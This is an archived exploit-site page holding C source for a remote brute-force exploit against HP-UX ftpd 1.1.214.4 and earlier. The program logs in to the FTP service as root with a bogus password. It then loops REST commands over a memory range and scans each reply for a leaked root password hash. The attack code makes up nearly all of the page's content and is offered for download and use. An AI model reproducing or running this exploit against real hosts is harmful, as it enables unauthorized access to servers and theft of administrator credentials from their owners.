what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

hpuxFTPd112144.c

hpuxFTPd112144.c
Posted May 27, 2005
Authored by phased

HP-UX ftpd versions 1.1.214.4 and below REST remote brute force exploit.

tags | exploit, remote
systems | hpux
SHA-256 | 42007cb24cb06cfd571a085cc6e5e6919dd4cb963ec1e45f4802fb4eb5a3e702

hpuxFTPd112144.c

Change Mirror Download
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

int main (int argc, char *argv[]) {

int sock, rc;
long int i;
struct sockaddr_in saddr;
struct hostent *h;
char buf[256];

printf("DMhpux FTPd - REST bug brute forcer\n");
printf("by phased\n");

if(argc < 2) {
printf("usage: %s <host> -- simple enough?\n",argv[0]);
exit(1);
}
h = gethostbyname(argv[1]);
if(h==NULL) {
printf("%s: unknown host '%s'\n",argv[0],argv[1]);
exit(1);
}

saddr.sin_family = h->h_addrtype;
memcpy((char *) &saddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
saddr.sin_port = htons(21);

sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock<0) {
perror("cannot open socket ");
exit(1);
}

rc = connect(sock, (struct sockaddr *) &saddr, sizeof(saddr));
if(rc<0) {
perror("cannot connect ");
exit(1);
}

printf("Sending false login credentials\n");
snprintf(buf, sizeof(buf), "USER root\r\n");
printf("sending %s\n", buf);
rc = send(sock, buf, strlen(buf), 0);
if(rc<0) {
perror("cannot send data ");
close(sock);
exit(0);
}
dorecv(sock);
usleep(1000);
memset(buf, 0, sizeof(buf));
snprintf(buf, sizeof(buf), "PASS foo\r\n");
printf("sending %s\n", buf);
rc = send(sock, buf, strlen(buf), 0);
usleep(1000);
dorecv(sock);
dorecv(sock);

for(i=1073931080;i<=1073945000;i = i+10) {
snprintf(buf, sizeof(buf), "REST %d\r\n", i);
printf("sending %s\n", buf);
send(sock, buf, strlen(buf), 0);
dorecv(sock);
}


return 0;

}

int dorecv(int sock) {
char buf[256];
char *check;

memset(buf, 0, sizeof(buf));
recv(sock, buf, sizeof(buf), 0);
printf("got: %s\n", buf);
check = (char *)strstr(buf, "root");
if(check != NULL) {
printf("Got root hash\n");
}

}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close